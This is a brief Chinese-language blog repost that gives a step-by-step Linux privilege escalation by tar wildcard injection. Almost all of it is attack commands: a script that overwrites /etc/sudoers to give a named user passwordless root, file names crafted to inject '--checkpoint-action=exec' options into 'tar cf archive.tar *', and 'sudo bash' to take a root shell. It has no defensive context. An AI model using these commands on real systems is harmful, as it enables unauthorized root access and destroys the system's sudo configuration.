linux普通用户提权

tar通配符注入.

echo 'echo "chenglee ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > demo.sh

echo "" > "--checkpoint-action=exec=sh demo.sh"

echo "" > --checkpoint=1

tar cf archive.tar *

sudo -l
sudo bash
whoami

如下所示

原文地址:https://www.cnblogs.com/chenglee/p/9370534.html